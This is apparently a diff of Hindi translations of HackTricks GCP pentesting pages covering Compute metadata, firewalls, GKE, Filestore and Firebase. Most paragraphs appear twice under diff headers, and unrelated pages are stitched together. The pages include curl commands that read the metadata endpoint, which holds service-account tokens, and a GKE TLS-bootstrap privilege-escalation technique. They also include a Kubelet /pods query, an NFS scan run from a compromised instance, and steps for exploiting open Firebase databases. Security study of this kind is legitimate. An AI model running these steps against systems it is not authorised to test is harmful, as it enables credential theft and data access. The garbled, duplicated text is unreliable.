आप **डिस्क का चयन** कर सकते हैं या **एक नई डिस्क बना सकते हैं**। यदि आप एक नई डिस्क का चयन करते हैं तो आप:
- **डिस्क का आकार** चुन सकते हैं
- **OS** चुन सकते हैं
- संकेत कर सकते हैं कि क्या आप **इंस्टेंस के हटाए जाने पर डिस्क को हटाना चाहते हैं**
- **एन्क्रिप्शन**: **डिफ़ॉल्ट** रूप से एक **गूगल प्रबंधित कुंजी** का उपयोग किया जाएगा, लेकिन आप **KMS से एक कुंजी का चयन** भी कर सकते हैं या **उपयोग करने के लिए कच्ची कुंजी** निर्दिष्ट कर सकते हैं।
- डिस्क का **आकार** चुन सकते हैं
- **OS** का चयन कर सकते हैं
- संकेत कर सकते हैं कि आप **इंस्टेंस के हटाए जाने पर डिस्क को हटाना चाहते हैं**
- **एन्क्रिप्शन**: **डिफ़ॉल्ट** रूप से एक **गूगल प्रबंधित कुंजी** का उपयोग किया जाएगा, लेकिन आप **KMS से एक कुंजी का चयन** भी कर सकते हैं या **उपयोग करने के लिए कच्ची कुंजी** का संकेत दे सकते हैं।
### Deploy Container
यह वर्चुअल मशीन के अंदर एक **कंटेनर** तैनात करना संभव है।\
आप उपयोग करने के लिए **इमेज** कॉन्फ़िगर कर सकते हैं, अंदर चलाने के लिए **कमांड** सेट कर सकते हैं, **आर्गुमेंट्स**, एक **वॉल्यूम** माउंट कर सकते हैं, और **env वेरिएबल्स** (संवेदनशील जानकारी?) सेट कर सकते हैं और इस कंटेनर के लिए कई विकल्प कॉन्फ़िगर कर सकते हैं जैसे **privileged** के रूप में निष्पादित करना, stdin और pseudo TTY।
आप उपयोग करने के लिए **इमेज**ो कॉन्फ़िगर कर सकते हैं, अंदर चलाने के लिए **कमांड** सेट कर सकते हैं, **आर्गुमेंट्स**, एक **वॉल्यूम** माउंट कर सकते हैं, और **env वेरिएबल्स** (संवेदनशील जानकारी?) सेट कर सकते हैं और इस कंटेनर के लिए कई विकल्प कॉन्फ़िगर कर सकते हैं जैसे **privileged** के रूप में निष्पादित करना, stdin और pseudo TTY।
### Service Account
@@ -62,7 +62,7 @@ HTTP और HTTPS ट्रैफ़िक की अनुमति देन
- **Secure boot:** Secure boot आपके VM इंस्टेंस को बूट-स्तरीय और कर्नेल-स्तरीय मैलवेयर और रूटकिट से बचाने में मदद करता है।
- **Enable vTPM:** वर्चुअल ट्रस्टेड प्लेटफॉर्म मॉड्यूल (vTPM) आपके गेस्ट VM की प्री-बूट और बूट अखंडता को मान्य करता है, और कुंजी निर्माण और सुरक्षा प्रदान करता है।
- **Integrity supervision:** Integrity monitoring आपको Stackdriver रिपोर्टों का उपयोग करके आपके शील्डेड VM इंस्टेंस की रनटाइम बूट अखंडता की निगरानी और सत्यापन करने की अनुमति देता है। vTPM को सक्षम करना आवश्यक है।
- **Integrity supervision:** Integrity monitoring आपको Stackdriver रिपोर्टों का उपयोग करके आपके शील्डेड VM इंस्टेंस की रनटाइम बूट अखंडता की निगरानी और सत्यापन करने की अनुमति देता है। vTPM सक्षम होना आवश्यक है।
### VM Access
@@ -74,9 +74,9 @@ VM तक पहुंच सक्षम करने का सामान्
### Metadata
यह **स्वचालन** (AWS में userdata) को परिभाषित करना संभव है जो **शेल कमांड** हैं जो हर बार मशीन चालू होने या पुनरारंभ होने पर निष्पादित होंगे।
आप **स्वचालन** (AWS में userdata) को परिभाषित कर सकते है जो **शेल कमांड** हैं जो हर बार मशीन चालू होने या पुनरारंभ होने पर निष्पादित होंगे।
यह भी संभव है कि **अतिरिक्त मेटाडेटा कुंजी-मूल्य मान** जो मेटाडेटा एंडपॉइंट से सुलभ होंगे, जोड़े जाएं। यह जानकारी आमतौर पर पर्यावरण चर और स्टार्टअप/शटडाउन स्क्रिप्ट के लिए उपयोग की जाती है। इसे **`describe` विधि** का उपयोग करके enumeration अनुभाग में एक कमांड से प्राप्त किया जा सकता है, लेकिन इसे इंस्टेंस के अंदर मेटाडेटा एंडपॉइंट तक पहुंचकर भी प्राप्त किया जा सकता है।
आप अतिरिक्त मेटाडेटा कुंजी-मूल्य जोड़ने के लिए भी सक्षम हैं जो मेटाडेटा एंडपॉइंट से सुलभ होंगे। यह जानकारी आमतौर पर पर्यावरण चर और स्टार्टअप/शटडाउन स्क्रिप्ट के लिए उपयोग की जाती है। इसे **enumeration section में एक कमांड से `describe` method** का उपयोग करके प्राप्त किया जा सकता है, लेकिन इसे इंस्टेंस के अंदर मेटाडेटा एंडपॉइंट तक पहुंचकर भी पुनः प्राप्त किया जा सकता है।
```bash
# view project metadata
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
@@ -86,7 +86,7 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
```
इसके अलावा, **संलग्न सेवा खाते के लिए प्रमाणीकरण टोकन** और **इंस्टेंस, नेटवर्क और प्रोजेक्ट के बारे में सामान्य जानकारी** भी **मेटाडेटा एंडपॉइंट** से उपलब्ध होगी। अधिक जानकारी के लिए देखें:
इसके अलावा, **संलग्न सेवा खाते के लिए auth टोकन** और **संस्थान, नेटवर्क और परियोजना के बारे में सामान्य जानकारी** भी **मेटाडेटा एंडपॉइंट** से उपलब्ध होगी। अधिक जानकारी के लिए देखें:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#6440
@@ -4,8 +4,8 @@
## **GCP Compute Networking in a Nutshell**
**VPCs** में **Firewall** नियम होते हैं जो VPC में आने वाले ट्रैफ़िक की अनुमति देते हैं। VPCs में **subnetworks** भी होते हैं जहाँ **virtual machines** **connected** होने वाल हैं।\
AWS की तुलना में, **Firewall** **AWS** **Security Groups और NACLs** के **सबसे करीब** होगा, लेकिन इस मामले में ये **VPC में परिभाषित** होते हैं और प्रत्येक उदाहरण में नहीं।
**VPCs** में **Firewall** नियम होते हैं जो VPC में आने वाले ट्रैफ़िक की अनुमति देते हैं। VPCs में **subnetworks** भी होते हैं जहाँ **virtual machines** **connected** होने वाल हैं।\
AWS की तुलना में, **Firewall** **AWS** **Security Groups और NACLs** के **सबसे करीब** होता है, लेकिन इस मामले में ये **VPC में परिभाषित** होते हैं और प्रत्येक उदाहरण में नहीं।
## **VPC, Subnetworks & Firewalls in GCP**
@@ -37,19 +37,19 @@ Compute Instances **subnetworks** से जुड़े होते हैं
दुर्भाग्यवश, इंटरनेट पर खुले पोर्ट वाले सभी Compute Instances को निकालने के लिए कोई सरल `gcloud` कमांड नहीं है। आपको फ़ायरवॉल नियमों, नेटवर्क टैग, सेवा खातों और उदाहरणों के बीच कनेक्शन बनाना होगा।
इस प्रक्रिया को [इस पायथन स्क्रिप्ट](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_firewall_enum) का उपयोग करके स्वचालित किया गया था जो निम्नलिखित को निर्यात करेगा:
इस प्रक्रिया को [इस python script](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_firewall_enum) का उपयोग करके स्वचालित किया गया था जो निम्नलिखित को निर्यात करेगा:
- CSV फ़ाइल जो उदाहरण, सार्वजनिक IP, अनुमत TCP, अनुमत UDP दिखाती है
- nmap स्कैन जो सार्वजनिक इंटरनेट (0.0.0.0/0) से अनुमति प्राप्त पोर्टों पर सभी उदाहरणों को लक्षित करता है
- masscan जो उन उदाहरणों की पूर्ण TCP रेंज को लक्षित करता है जो सार्वजनिक इंटरनेट (0.0.0.0/0) से सभी TCP पोर्टों की अनुमति देते हैं
- nmap स्कैन जो सार्वजनिक इंटरनेट (0.0.0.0/0) से अनुमति प्राप्त पोर्ट पर सभी उदाहरणों को लक्षित करता है
- masscan जो उन उदाहरणों की पूर्ण TCP रेंज को लक्षित करता है जो सार्वजनिक इंटरनेट (0.0.0.0/0) से सभी TCP पोर्ट की अनुमति देते हैं
### Hierarchical Firewall Policies <a href="#hierarchical-firewall-policies" id="hierarchical-firewall-policies"></a>
_Hierarchical firewall policies_ आपको अपने संगठन में एक सुसंगत फ़ायरवॉल नीति बनाने और **लागू करने** की अनुमति देत हैं। आप **hierarchical firewall policies** को संगठन के रूप में या व्यक्तिगत **folders** पर असाइन कर सकते हैं। इन नीतियों में नियम होते हैं जो स्पष्ट रूप से कनेक्शनों को अस्वीकार या अनुमति दे सकत हैं।
_Hierarchical firewall policies_ आपको अपने संगठन में एक सुसंगत फ़ायरवॉल नीति बनाने और **लागू करने** की अनुमति देत हैं। आप **hierarchical firewall policies** को पूरे संगठन या व्यक्तिगत **folders** पर असाइन कर सकते हैं। ये नीतियाँ नियमों को शामिल करती हैं जो स्पष्ट रूप से कनेक्शनों को अस्वीकार या अनुमति दे सकत हैं।
आप फ़ायरवॉल नीतियों को अलग-अलग चरणों के रूप में बनाते और लागू करते हैं। आप [**resource hierarchy**](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy) के **organization या folder nodes** पर फ़ायरवॉल नीतियों को बना और लागू कर सकते हैं। एक फ़ायरवॉल नीति नियम **कनेक्शनों को ब्लॉक कर सकता है, कनेक्शनों की अनुमति दे सकता है, या फ़ायरवॉल नियम मूल्यांकन को निम्न स्तर के फ़ोल्डरों या VPC नेटवर्क में परिभाषित VPC फ़ायरवॉल नियमों पर स्थगित कर सकता है।**
आप फ़ायरवॉल नीतियों को अलग-अलग चरणों के रूप में बनाते और लागू करते हैं। आप [**resource hierarchy**](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy) के **organization या folder nodes** पर फ़ायरवॉल नीतियाँ बना और लागू कर सकते हैं। एक फ़ायरवॉल नीति नियम **कनेक्शनों को ब्लॉक कर सकता है, कनेक्शनों की अनुमति दे सकता है, या फ़ायरवॉल नियम मूल्यांकन को निम्न स्तर के फ़ोल्डरों या VPC नेटवर्क में परिभाषित VPC फ़ायरवॉल नियमों के लिए स्थगित कर सकता है।**
डिफ़ॉल्ट रूप से, सभी hierarchical firewall policy नियम सभी परियोजनाओं में सभी VMs पर लागू होते हैं जहाँ नीति जुड़ी होती है। हालाँकि, आप [लक्षित नेटवर्क या लक्षित सेवा खातों](https://cloud.google.com/vpc/docs/firewall-policies#targets) को निर्दिष्ट करके यह **सीमित कर सकते हैं कि कौन से VMs को एक नियम प्राप्त होता है**
डिफ़ॉल्ट रूप से, सभी hierarchical firewall policy नियम सभी परियोजनाओं में सभी VMs पर लागू होते हैं जहाँ नीति जुड़ी होती है। हालाँकि, आप [लक्षित नेटवर्क या लक्षित सेवा खातों](https://cloud.google.com/vpc/docs/firewall-policies#targets) को निर्दिष्ट करके यह **सीमित कर सकते हैं कि कौन से VMs को एक निश्चित नियम प्राप्त होता है।**
आप यहाँ पढ़ सकते हैं कि [**Hierarchical Firewall Policy कैसे बनाएं**](https://cloud.google.com/vpc/docs/using-firewall-policies#gcloud)।
@@ -60,7 +60,7 @@ _Hierarchical firewall policies_ आपको अपने संगठन म
1. Org: संगठन को असाइन की गई फ़ायरवॉल नीतियाँ
2. Folder: फ़ोल्डर को असाइन की गई फ़ायरवॉल नीतियाँ
3. VPC: VPC को असाइन किए गए फ़ायरवॉल नियम
4. Global: फ़ायरवॉल नियमों का एक अन्य प्रकार जिसे VPCs पर असाइन किया जा सकता है
4. Global: फ़ायरवॉल नियमों का एक और प्रकार ज VPCs को असाइन किया जा सकता है
5. Regional: VM के NIC और VM के क्षेत्र के VPC नेटवर्क से जुड़े फ़ायरवॉल नियम।
## VPC Network Peering
@@ -1,8 +1,8 @@
# GCP - Containers & GKE Enum
# GCP - कंटेनर और GKE Enum
{{#include ../../../banners/hacktricks-training.md}}
## Containers
## कंटेनर
GCP कंटेनरों में आप GCP द्वारा प्रदान की जाने वाली अधिकांश कंटेनर आधारित सेवाएँ पा सकते हैं, यहाँ आप सबसे सामान्य सेवाओं को सूचीबद्ध करने का तरीका देख सकते हैं:
```bash
@@ -50,7 +50,7 @@ Kubernetes क्या है इस बारे में जानकार
```
gcloud container clusters list
```
यदि आपके पास एक क्लस्टर है, तो आप `gcloud` को अपने `~/.kube/config` फ़ाइल को स्वचालित रूप से कॉन्फ़िगर करने के लिए कह सकते हैं। यह फ़ाइल आपको [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/) का उपयोग करते समय प्रमाणित करने के लिए उपयोग की जाती है, जो K8s क्लस्टरों के साथ बातचीत करने के लिए मूल CLI है। इस कमांड को आजमाएँ।
यदि आपके पास एक क्लस्टर है, तो आप `gcloud` को अपने `~/.kube/config` फ़ाइल को स्वचालित रूप से कॉन्फ़िगर करने के लिए कह सकते हैं। यह फ़ाइल आपको प्रमाणित करने के लिए उपयोग की जाती है जब आप [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/) का उपयोग करते है, जो K8s क्लस्टरों के साथ बातचीत करने के लिए मूल CLI है। इस कमांड को आजमाएँ।
```
gcloud container clusters get-credentials [CLUSTER NAME] --region [REGION]
```
@@ -60,33 +60,33 @@ gcloud container clusters get-credentials [CLUSTER NAME] --region [REGION]
```
kubectl cluster-info
```
You can read more about `gcloud` for containers [here](https://cloud.google.com/sdk/gcloud/reference/container/).
आप `gcloud` के बारे में कंटेनरों के लिए [यहाँ](https://cloud.google.com/sdk/gcloud/reference/container/) अधिक पढ़ सकते हैं।
This is a simple script to enumerate kubernetes in GCP: [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)
यह GCP में कुबेरनेट्स को सूचीबद्ध करने के लिए एक सरल स्क्रिप्ट है: [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)
### TLS Boostrap Privilege Escalation
### TLS बूटस्ट्रैप विशेषाधिकार वृद्धि
Initially this privilege escalation technique allowed to **privesc inside the GKE cluster** effectively allowing an attacker to **fully compromise it**.
शुरुआत में, इस विशेषाधिकार वृद्धि तकनीक ने **GKE क्लस्टर के अंदर प्रिवेस्क** की अनुमति दी, जिससे एक हमलावर को **पूर्ण रूप से समझौता करने** की अनुमति मिली।
This is because GKE provides [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) in the metadata, which is **accessible by anyone by just compromising a pod**.
यह इसलिए है क्योंकि GKE [TLS बूटस्ट्रैप क्रेडेंशियल्स](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) को मेटाडेटा में प्रदान करता है, जो **किसी भी व्यक्ति द्वारा केवल एक पॉड को समझौता करके** सुलभ है।
The technique used is explained in the following posts:
उपयोग की गई तकनीक निम्नलिखित पोस्ट में समझाई गई है:
- [https://www.4armed.com/blog/hacking-kubelet-on-gke/](https://www.4armed.com/blog/hacking-kubelet-on-gke/)
- [https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/](https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/)
- [https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)
Ans this tool was created to automate the process: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein)
और इस उपकरण को प्रक्रिया को स्वचालित करने के लिए बनाया गया था: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein)
However, the technique abused the fact that **with the metadata credentials** it was possible to **generate a CSR** (Certificate Signing Request) for a **new node**, which was **automatically approved**.\
In my test I checked that **those requests aren't automatically approved anymore**, so I'm not sure if this technique is still valid.
हालांकि, तकनीक ने इस तथ्य का दुरुपयोग किया कि **मेटाडेटा क्रेडेंशियल्स के साथ** एक **नए नोड** के लिए **CSR** (सर्टिफिकेट साइनिंग अनुरोध) **जनरेट करना संभव था**, जिसे **स्वचालित रूप से स्वीकृत** किया गया था।\
मेरी परीक्षा में मैंने जांचा कि **वे अनुरोध अब स्वचालित रूप से स्वीकृत नहीं होते**, इसलिए मुझे यकीन नहीं है कि यह तकनीक अभी भी मान्य है।
### Secrets in Kubelet API <a href="#the-kubelet-api-git-secrets-redux" id="the-kubelet-api-git-secrets-redux"></a>
### Kubelet API में रहस्य <a href="#the-kubelet-api-git-secrets-redux" id="the-kubelet-api-git-secrets-redux"></a>
In [**this post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) it was discovered it was discovered a Kubelet API address accesible from inside a pod in GKE giving the details of the pods running:
[**इस पोस्ट**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) में यह खोजा गया था कि GKE में एक पॉड के अंदर से सुलभ Kubelet API पता है जो चल रहे पॉड्स के विवरण देता है:
```
curl -v -k http://10.124.200.1:10255/pods
```
यहां तक कि अगर API **संसाधनों को संशोधित करने की अनुमति नहीं देत**, तो प्रतिक्रिया में **संवेदनशील जानकारी** मिलना संभव हो सकता है। एंडपॉइंट /pods को [**Kiterunner**](https://github.com/assetnote/kiterunner) का उपयोग करके पाया गया।
भले ही API **संसाधनों को संशोधित करने की अनुमति नहीं देत**, फिर भी प्रतिक्रिया में **संवेदनशील जानकारी** मिलना संभव हो सकता है। एंडपॉइंट /pods को [**Kiterunner**](https://github.com/assetnote/kiterunner) का उपयोग करके पाया गया।
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## GCP - Cloud DNS
गूगल क्लाउड DNS एक उच्च प्रदर्शन, लचीला, वैश्विक डोमेन नाम प्रणाली (DNS) सेवा है।
Google Cloud DNS एक उच्च-प्रदर्शन, लचीला, वैश्विक डोमेन नाम प्रणाली (DNS) सेवा है।
```bash
# This will usually error if DNS service isn't configured in the project
gcloud dns project-info describe <project>
@@ -4,34 +4,34 @@
## Basic Information
Google Cloud Filestore एक **प्रबंधित फ़ाइल भंडारण सेवा** है जो उन अनुप्रयोगों के लिए तैयार की गई है जिन्हें **फ़ाइल सिस्टम इंटरफ़ेस और डेटा के लिए साझा फ़ाइल सिस्टम** की आवश्यकता होती है। यह सेवा उच्च-प्रदर्शन फ़ाइल शेयर प्रदान करके उत्कृष्टता प्राप्त करती है, जिन्हें विभिन्न GCP सेवाओं के साथ एकीकृत किया जा सकता है। इसकी उपयोगिता उन परिदृश्यों में चमकती है जहां पारंपरिक फ़ाइल सिस्टम इंटरफेस और अर्थशास्त्र महत्वपूर्ण होते हैं, जैसे कि मीडिया प्रोसेसिंग, सामग्री प्रबंधन, और डेटाबेस का बैकअप।
Google Cloud Filestore एक **managed file storage service** है जो उन अनुप्रयोगों के लिए तैयार की गई है जिन्हें **filesystem interface और डेटा के लिए एक साझा filesystem** की आवश्यकता होती है। यह सेवा उच्च-प्रदर्शन फ़ाइल शेयर प्रदान करके उत्कृष्टता प्राप्त करती है, जिन्हें विभिन्न GCP सेवाओं के साथ एकीकृत किया जा सकता है। इसकी उपयोगिता उन परिदृश्यों में चमकती है जहां पारंपरिक फ़ाइल प्रणाली इंटरफेस और अर्थशास्त्र महत्वपूर्ण होते हैं, जैसे कि मीडिया प्रोसेसिंग, सामग्री प्रबंधन, और डेटाबेस का बैकअप।
आप इसे किसी अन्य **NFS** **साझा दस्तावेज़ भंडार** के रूप में सोच सकते हैं - संवेदनशील जानकारी का एक संभावित स्रोत।
आप इसे किसी अन्य **NFS** **shared document repository** के रूप में सोच सकते हैं - संवेदनशील जानकारी का एक संभावित स्रोत।
### Connections
जब आप एक Filestore उदाहरण बनाते हैं, तो यह **नेटवर्क का चयन करना संभव है जहां यह सुलभ होगा**
इसके अलावा, **डिफ़ॉल्ट रूप से चयनित VPC नेटवर्क और क्षेत्र पर सभी क्लाइंट इसे एक्सेस कर सकेंगे**, हालाँकि, इसे **IP पते** या रेंज द्वारा भी **सीमित करना संभव है** और उपयोगकर्ता को एक्सेस विशेषाधिकार (Admin, Admin Viewer, Editor, Viewer) निर्दिष्ट करना होगा जो क्लाइंट को **IP पते के आधार पर मिलेगा।**
इसके अलावा, **डिफ़ॉल्ट रूप से चयनित VPC नेटवर्क और क्षेत्र पर सभी क्लाइंट इसे एक्सेस कर सकेंगे**, हालाँकि, इसे **IP पते** या रेंज द्वारा भी **सीमित करना संभव है** और उपयोगकर्ता को एक्सेस विशेषाधिकार (Admin, Admin Viewer, Editor, Viewer) निर्दिष्ट करना होगा जो क्लाइंट को **IP पते के आधार पर प्राप्त होगा।**
यह एक **प्राइवेट सर्विस एक्सेस कनेक्शन** के माध्यम से भी सुलभ हो सकता है:
यह एक **Private Service Access Connection** के माध्यम से भी सुलभ हो सकता है:
- ये प्रति VPC नेटवर्क होते हैं और सभी प्रबंधित सेवाओं जैसे Memorystore, Tensorflow और SQL के बीच उपयोग किए जा सकते हैं।
- ये **आपके VPC नेटवर्क और Google द्वारा स्वामित्व वाले नेटवर्क के बीच VPC पीयरिंग** के माध्यम से होते हैं, जिससे आपके उदाहरण और सेवाएँ विशेष रूप से **आंतरिक IP पते** का उपयोग करके संवाद कर सकती हैं।
- सेवा-उत्पादक पक्ष पर आपके लिए एक अलग परियोजना बनाते हैं, जिसका अर्थ है कि कोई अन्य ग्राहक इसे साझा नहीं करता। आपको केवल उन संसाधनों के लिए बिल किया जाएगा ज आप प्रावधान करते हैं।
- VPC पीयरिंग आपके VPC में नए मार्ग आयात करेगा।
- ये VPC नेटवर्क के अनुसार हैं और सभी प्रबंधित सेवाओं जैसे Memorystore, Tensorflow और SQL के बीच उपयोग किए जा सकते हैं।
- ये **आपके VPC नेटवर्क और Google द्वारा स्वामित्व वाले नेटवर्क के बीच VPC peering** के माध्यम से हैं, जिससे आपके उदाहरण और सेवाएँ विशेष रूप से **आंतरिक IP पते** का उपयोग करके संवाद कर सकती हैं।
- सेवा-उत्पादक पक्ष पर आपके लिए एक अलग परियोजना बनाते हैं, जिसका अर्थ है कि कोई अन्य ग्राहक इसे साझा नहीं करता। आपको केवल उन संसाधनों के लिए बिल किया जाएगा जिन्हें आप प्रावधान करते हैं।
- VPC peering आपके VPC में नए मार्गों को आयात करेगा।
### Backups
**फ़ाइल शेयरों के बैकअप** बनाना संभव है। इन्हें बाद में **मूल** नए फ़ाइल शेयर उदाहरण में या **नए में** **पुनर्स्थापित** किया जा सकता है।
**File shares** के **बैकअप** बनाना संभव है। इन्हें बाद में **मूल** नए Fileshare उदाहरण में या **नए** में **पुनर्स्थापित** किया जा सकता है।
### Encryption
डिफ़ॉल्ट रूप से एक **Google-प्रबंधित एन्क्रिप्शन कुंजी** का उपयोग डेटा को एन्क्रिप्ट करने के लिए किया जाएगा, लेकिन एक **ग्राहक-प्रबंधित एन्क्रिप्शन कुंजी (CMEK)** का चयन करना संभव है।
डिफ़ॉल्ट रूप से एक **Google-managed encryption key** का उपयोग डेटा को एन्क्रिप्ट करने के लिए किया जाएगा, लेकिन एक **Customer-managed encryption key (CMEK)** का चयन करना संभव है।
### Enumeration
यदि आप परियोजना में एक फ़िलestore उपलब्ध पाते हैं, तो आप इसे अपने समझौता किए गए Compute Instance से **माउंट** कर सकते हैं। यह देखने के लिए निम्नलिखित कमांड का उपयोग करें कि क्या कोई मौजूद है।
यदि आप परियोजना में एक filestore उपलब्ध पाते हैं, तो आप इसे अपने समझौता किए गए Compute Instance से **mount** कर सकते हैं। यह देखने के लिए निम्नलिखित कमांड का उपयोग करें कि क्या कोई मौजूद है।
```bash
# Instances
gcloud filestore instances list # Check the IP address
@@ -45,8 +45,8 @@ gcloud filestore backups describe --region <region> <backup>
sudo nmap -n -T5 -Pn -p 2049 --min-parallelism 100 --min-rate 1000 --open 10.99.160.2/20
```
> [!CAUTION]
> ध्यान दें कि एक filestore सेवा **इसके लिए बनाए गए एक पूरी तरह से नए उपनेटवर्क** में हो सकती है (एक प्राइवेट सर्विस एक्सेस कनेक्शन के अंदर, जो एक **VPC पीयर** है)।\
> इसलिए आपको **VPC पीयर्स को एन्यूमरेट** करने की आवश्यकता हो सकती है ताकि आप उन नेटवर्क रेंज पर nmap चला सकें।
> ध्यान दें कि एक filestore सेवा **इसके लिए बनाए गए एक पूरी तरह से नए सबनेटवर्क** में हो सकती है (एक Private Service Access Connection के अंदर, जो एक **VPC peer** है)।\
> इसलिए आपको **VPC peers** को भी enumerates करने की आवश्यकता हो सकती है ताकि आप उन नेटवर्क रेंज पर nmap चला सकें।
>
> ```bash
> # Get peerings
@@ -57,7 +57,7 @@ sudo nmap -n -T5 -Pn -p 2049 --min-parallelism 100 --min-rate 1000 --open 10.99.
### Privilege Escalation & Post Exploitation
GCP में इस सेवा का सीधे दुरुपयोग करके विशेषाधिकार बढ़ाने के तरीके नहीं हैं, लेकिन कुछ **Post Exploitation ट्रिक्स का उपयोग करके डेटा तक पहुंच प्राप्त करना संभव है** और शायद आप विशेषाधिकार बढ़ाने के लिए कुछ क्रेडेंशियल्स पा सकें:
GCP में इस सेवा का सीधे दुरुपयोग करके विशेषाधिकार बढ़ाने के तरीके नहीं हैं, लेकिन कुछ **Post Exploitation tricks का उपयोग करके डेटा तक पहुंच प्राप्त करना संभव है** और शायद आप विशेषाधिकार बढ़ाने के लिए कुछ क्रेडेंशियल्स पा सकें:
{{#ref}}
../gcp-post-exploitation/gcp-filestore-post-exploitation.md
@@ -4,11 +4,11 @@
## [Firebase](https://cloud.google.com/sdk/gcloud/reference/firebase/)
Firebase Realtime Database एक क्लाउड-होस्टेड NoSQL डेटाबेस है जो आपको अपने उपयोगकर्ताओं के बीच डेटा को रीयलटाइम में स्टोर और सिंक करने की अनुमति देता है। [और जानें](https://firebase.google.com/products/realtime-database/)
Firebase Realtime Database एक क्लाउड-होस्टेड NoSQL डेटाबेस है जो आपको अपने उपयोगकर्ताओं के बीच डेटा को रीयलटाइम में स्टोर और सिंक करने की अनुमति देता है। [Learn more](https://firebase.google.com/products/realtime-database/).
### Unauthenticated Enum
कुछ **Firebase endpoints** **मोबाइल एप्लिकेशनों** में पाए जा सकते हैं। यह संभव है कि उपयोग किया गया Firebase endpoint **खराब तरीके से कॉन्फ़िगर किया गया हो जिससे सभी को पढ़ने (और लिखने) के लिए विशेषाधिकार मिलत है**
कुछ **Firebase endpoints** **मोबाइल एप्लिकेशन** में पाए जा सकते हैं। यह संभव है कि उपयोग किया गया Firebase endpoint **खराब तरीके से कॉन्फ़िगर किया गया हो जिससे सभी को पढ़ने (और लिखने) की अनुमति मिलत है**
यह खराब कॉन्फ़िगर किए गए Firebase डेटाबेस को खोजने और शोषण करने की सामान्य पद्धति है:
@@ -16,12 +16,12 @@ Firebase Realtime Database एक क्लाउड-होस्टेड NoSQL
आप “APK Extractor” का उपयोग कर सकते हैं [https://play.google.com/store/apps/details?id=com.ext.ui\&hl=e](https://hackerone.com/redirect?signature=3774f35d1b5ea8a4fd209d80084daa9f5887b105&url=https%3A%2F%2Fplay.google.com%2Fstore%2Fapps%2Fdetails%3Fid%3Dcom.ext.ui%26hl%3Den)
2. **APK को डिकंपाइल करें** **apktool** का उपयोग करके, APK से स्रोत कोड निकालने के लिए नीचे दिए गए कमांड का पालन करें।
3. _**res/values/strings.xml**_ पर जाएं और “**firebase**” कीवर्ड के लिए **खोजें**
4. आपको इस URL जैसा कुछ मिल सकत है “_**https://xyz.firebaseio.com/**_”।
4. आप इस URL की तरह कुछ पा सकत है “_**https://xyz.firebaseio.com/**_”।
5. अगला, ब्राउज़र में जाएं और **पाई गई URL पर नेविगेट करें**: _https://xyz.firebaseio.com/.json_
6. 2 प्रकार की प्रतिक्रियाएँ प्रकट हो सकती हैं:
1. “**Permission Denied**”: इसका मतलब है कि आप इसे एक्सेस नहीं कर सकते, इसलिए यह अच्छी तरह से कॉन्फ़िगर किया गया है।
2. “**null**” प्रतिक्रिया या **JSON डेटा** का एक गुच्छा: इसका मतलब है कि डेटाबेस सार्वजनिक है और आपके पास कम से कम पढ़ने का एक्सेस है।
1. इस मामले में, आप **लिखने के विशेषाधिकार** की जांच कर सकते हैं, लिखने के विशेषाधिकार का परीक्षण करने के लिए एक शोषण यहाँ पाया जा सकता है: [https://github.com/MuhammadKhizerJaved/Insecure-Firebase-Exploit](https://github.com/MuhammadKhizerJaved/Insecure-Firebase-Exploit)
2. “**null**” प्रतिक्रिया या **JSON डेटा** का एक समूह: इसका मतलब है कि डेटाबेस सार्वजनिक है और आपके पास कम से कम पढ़ने की अनुमति है।
1. इस मामले में, आप **लिखने की अनुमतियों** की जांच कर सकते हैं, लिखने की अनुमतियों का परीक्षण करने के लिए एक शोषण यहाँ पाया जा सकता है: [https://github.com/MuhammadKhizerJaved/Insecure-Firebase-Exploit](https://github.com/MuhammadKhizerJaved/Insecure-Firebase-Exploit)
**दिलचस्प नोट**: जब **MobSF** के साथ एक मोबाइल एप्लिकेशन का विश्लेषण करते समय, यदि यह एक firebase डेटाबेस पाता है तो यह जांच करेगा कि क्या यह **सार्वजनिक रूप से उपलब्ध** है और इसे सूचित करेगा।
@@ -50,22 +50,22 @@ db = firebase.database()
print(db.get())
```
To test other actions on the database, such as writing to the database, refer to the Pyrebase4 documentation which can be found [here](https://github.com/nhorvath/Pyrebase4).
अन्य क्रियाओं का परीक्षण करने के लिए, जैसे कि डेटाबेस में लिखना, Pyrebase4 दस्तावेज़ीकरण का संदर्भ लें जो [यहां](https://github.com/nhorvath/Pyrebase4) पाया जा सकता है।
### Access info with APPID and API Key <a href="#access-info-with-appid-and-api-key" id="access-info-with-appid-and-api-key"></a>
### APPID और API Key के साथ जानकारी तक पहुँचें <a href="#access-info-with-appid-and-api-key" id="access-info-with-appid-and-api-key"></a>
यदि आप iOS एप्लिकेशन को डिकंपाइल करते हैं और फ़ाइल `GoogleService-Info.plist` खोलते हैं और आपको API Key और APP ID मिलती है:
